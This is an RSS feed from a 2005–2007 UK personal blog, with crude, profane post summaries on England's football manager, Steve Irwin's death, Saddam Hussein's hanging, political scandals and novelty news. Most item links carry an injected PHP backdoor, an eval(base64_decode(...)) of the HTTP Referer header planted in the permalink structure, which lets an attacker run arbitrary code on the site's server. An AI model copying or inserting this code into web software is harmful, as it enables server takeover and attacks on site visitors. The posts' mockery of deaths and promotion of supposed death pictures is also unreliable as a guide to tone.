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		<title>Bye Bye Steve Mc Claren!!</title>
		<link>http://www.thenewts.net/2007/11/22/bye-bye-steve-mc-claren/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Thu, 22 Nov 2007 22:50:22 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[After England&#8217;s dismal performance in the Euro 2008 qualifiers, It&#8217;s nice to see this useless c*nt get the boot.  The kindest thing I can say about him is that he was reasonably magnanamous in his sacking (he was too much of a pussy to resign), and it is with a modicum of smugness that [...]]]></description>
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		<title>£500 for a rubber duck?!</title>
		<link>http://www.thenewts.net/2007/06/28/500-for-a-rubber-duck-youve-gotta-love-this-story/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Thu, 28 Jun 2007 20:30:54 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<category><![CDATA[Plastic ducks]]></category>

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		<description><![CDATA[Residents of the western UK and Irish coasts have been warned to expect an invasion by a vast flotilla of ghostly, immortal albino plastic ducks, according to reports.
The tale of the floating, whitened bird migration is a strange one, dating back many years. It seems that the plastic bathtime companions were originally made in China. [...]]]></description>
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		<title>Crocodile 1 &#8211; Vet 0.</title>
		<link>http://www.thenewts.net/2007/04/13/589/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Fri, 13 Apr 2007 13:59:11 +0000</pubDate>
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Surgeons from Thailand have reattached a vet&#8217;s arm after it was torn clean off by a 200kg Nile crocodile.  Taiwanese vet Chang Po-yu was attacked by the crocodile as he tried to remove a tranquilizer dart from the animal&#8217;s arse.  Colleagues of the vet were forced to reach inside the reptile&#8217;s mouth to [...]]]></description>
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		<title>Britney Spears goes bald!</title>
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		<pubDate>Tue, 20 Feb 2007 00:58:37 +0000</pubDate>
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At least she&#8217;s got a matching pair now!&#8230;

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		<title>Apple iPhone &#8211; Oo la la!</title>
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		<pubDate>Sat, 10 Feb 2007 16:12:45 +0000</pubDate>
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				<category><![CDATA[News]]></category>
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Apples new iPhone combines three products â€” a revolutionary mobile phone, a widescreen iPod with touch controls, and a breakthrough Internet communications device with desktop-class email, web browsing, maps, and searching â€” into one small and lightweight handheld device. iPhone also introduces an entirely new user interface based on a large multi-touch display and pioneering [...]]]></description>
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		<title>HELP!</title>
		<link>http://www.thenewts.net/2007/01/21/help/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Sun, 21 Jan 2007 13:51:09 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Friends]]></category>
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		<description><![CDATA[UPDATE: HITS SO FAR (09/02/07) = 100,007
I NEED YOUR HELP!
I&#8217;ve been working on a website or two for my Uncle.  He made me a deal&#8230;
1 MILLION HITS in exchange for a TWO GRAND LAPTOP! 
It&#8217;s as simple as that folks.  I deliver him 1 million hits (not unique visitors but hits) and he [...]]]></description>
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		<title>Saddam Hussein Hanging.</title>
		<link>http://www.thenewts.net/2006/12/31/saddam-hussein-hanging/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Sun, 31 Dec 2006 11:19:04 +0000</pubDate>
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		<description><![CDATA[The FULL UNEDITED video of Saddam Hussein&#8217;s hanging.
 Recorded by a witness on a mobile phone.

The last legal step, before the execution proceeded, was for Saddam to be handed a red card. This was completed by an official of the court with details of the judgment and a notice that execution was imminent.  According [...]]]></description>
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		<title>40% OFF THRESHER VOUCHER!</title>
		<link>http://www.thenewts.net/2006/12/01/40-off-thresher-voucher/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Fri, 01 Dec 2006 18:30:35 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[General]]></category>
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&#8220;Off-licence chain Threshers is braced for an onslaught of bargain-hunting drinkers as an online discount voucher is downloaded by millions of people.  
The 40%-off wine and champagne voucher was intended for suppliers and their friends, but has been distributed widely via blogs, email and chatrooms.&#8221;  Read more of the BBC News story here.

In [...]]]></description>
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		<title>Steve Irwin&#8217;s Death Pics.</title>
		<link>http://www.thenewts.net/2006/10/13/steve-irwins-death-pics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Fri, 13 Oct 2006 18:03:48 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[&#8220;Footage of Australian naturalist Steve Irwin&#8217;s death will never be broadcast&#8221;

No?  Well we&#8217;ve got the pictures already&#8230;



And rumour has it that the video will be leaked soon too.  You know where you saw it first, so watch this space!
]]></description>
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		<title>Steve Irwin Dies.</title>
		<link>http://www.thenewts.net/2006/09/04/steve-irwin-dies/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Mon, 04 Sep 2006 17:46:20 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[
I was shocked and saddened to hear this morning that daredevil reptile-botherer Steve &#8216;Crikey / Strewth Mate&#8217; Irwin has been killed by a Stingray while filming in the Great Barrier Reef, off the Queensland coast in Australia.  After seeing his exuberant and engaging programs on some of the worlds most dangerous animals, who could [...]]]></description>
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		<title>2 Jags, 2 Chins, 2 Women, too far.</title>
		<link>http://www.thenewts.net/2006/05/01/2-jags-2-chins-2-women-too-far/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Mon, 01 May 2006 14:46:37 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[I hate this guy with vehemence.  Always have done, always will do.  I think he&#8217;s rude, obnoxious, unscrupulous, shifty and untrustworthy, and now we can officially add to that list an adulterous liar, AND if he doesn&#8217;t resign soon we can also add cowardly hypocrite.
I think back to pre 1997 and any time [...]]]></description>
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		<title>Manchester United lottery farce.</title>
		<link>http://www.thenewts.net/2006/04/21/manchester-united-lottery-farce/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Fri, 21 Apr 2006 23:56:43 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[What an absolute fcuking disgrace.  I still can&#8217;t beleive it.  Man U awarded a Â£30,000 lottery grant so it can send some of it&#8217;s fat staff to the gym for free.  Un-fcuking-believable.
What&#8217;s more is that fact that this is disgraceful on a number of counts. Firstly, what possesed the richest / 2nd [...]]]></description>
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		<title>Dave the Chameleon.</title>
		<link>http://www.thenewts.net/2006/04/20/dave-the-chameleon/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Thu, 20 Apr 2006 03:08:07 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[News]]></category>

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		<description><![CDATA[I must admit that I was quite amused by the Labour party&#8217;s latest offering on the party political broadcast front featuring Dave the Chameleon, a little blue lizard spoof of David Cameron that changes colour to match his political environment.  It&#8217;s an amusing little political broadcast, but I can&#8217;t see how it&#8217;s going to [...]]]></description>
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		<title>An unfortunate choice of title&#8230;</title>
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		<pubDate>Wed, 19 Apr 2006 23:31:27 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[News]]></category>

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		<description><![CDATA[&#8230;For a story about a gay bloke found with an anally probed gay floater in his pool:
From Sky News &#8211; &#8220;New Barymore Probe&#8221;
Well, it made me snigger :0)
The BBC were a little more subtle.
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		<title>Political Correctness.</title>
		<link>http://www.thenewts.net/2006/04/05/political-correctness/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Wed, 05 Apr 2006 22:29:35 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[News]]></category>

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		<description><![CDATA[At last, someone in the legal limelight expressing a common sense view over the farcical and I fear irretrievable political correctness that is rapidly turning this country into a joke.
Judge labels case &#8216;PC gone mad&#8217; 
Why it is that in Britain today, faceless bureaucrats whose names aren&#8217;t even known, apparently have the power to impose [...]]]></description>
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		<title>Garry Glitter in the Shitter.</title>
		<link>http://www.thenewts.net/2006/03/03/garry-glitter-in-the-shitter/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Fri, 03 Mar 2006 04:02:54 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[
Former &#8216;Glam Rocker&#8217; and convicted paedophile Paul Gadd aka Garry Glitter, pictured here live at the reading of the verdict at his trial in Vung Tau (Vietnam), is sentenced to 3 years in a squalid Vietnamese jail. As he left the court with a look of disbelief, he grabbed the microphone and shouted he was [...]]]></description>
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		<title>Panic Buying Comedy.</title>
		<link>http://www.thenewts.net/2005/09/13/panic-buying-comedy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Tue, 13 Sep 2005 16:17:19 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[I&#8217;m just reading a thread on the BBC News website regarding all the panic buying of fuel.   After I got about half way down the long list of everyone&#8217;s doom and gloom stories I find this post:
I&#8217;ve put extra air in my bicycle tyres just in case.
Paul Doherty, United Kingdom
Fantastic!  I&#8217;m still [...]]]></description>
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		<title>Fuel protests imminenet??</title>
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		<pubDate>Sun, 11 Sep 2005 14:04:18 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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With petrol prices at an incredible Â£1 a litre,  unsurprisingly there&#8217;s whispers going around at the minute that a return to the refinery blockade fuel protests of 2000 are a very real possibility.  There already seems to be signs of increased action at the petrol pumps around here, and the jerry cans seem [...]]]></description>
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		<title>Wilf Davey.</title>
		<link>http://www.thenewts.net/2005/08/31/wilf-davey/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Wed, 31 Aug 2005 23:59:50 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[It&#8217;s a sad day today as after a period of illness Rach&#8217;s Grandad Wilf passed away this morning.


A wonderful guy who I&#8217;ve known for the past 10 years.  He led a full and colourful life, accruing an army of friends along the way through his career in the Royal Navy and latterly in the [...]]]></description>
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		<title>PLUG : Meniscus Film Festival Call For Entries</title>
		<link>http://www.thenewts.net/2005/08/30/plug-meniscus-film-festival-call-for-entries/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Tue, 30 Aug 2005 19:25:31 +0000</pubDate>
		<dc:creator>wez</dc:creator>
				<category><![CDATA[General]]></category>
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		<description><![CDATA[The Meniscus Film Festival is currently taking films for two strands of Films entries.
&#8216;ITS NOT WHAT YOU THINK&#8217; film Competition and GENERAL entries.
The ITS NOT WHAT YOU THINK films may be any original format and MUST be under 5 minutes.  The Winner will receive the prestigious RAVENSCROFT short film Trophy and a Â£250 cash [...]]]></description>
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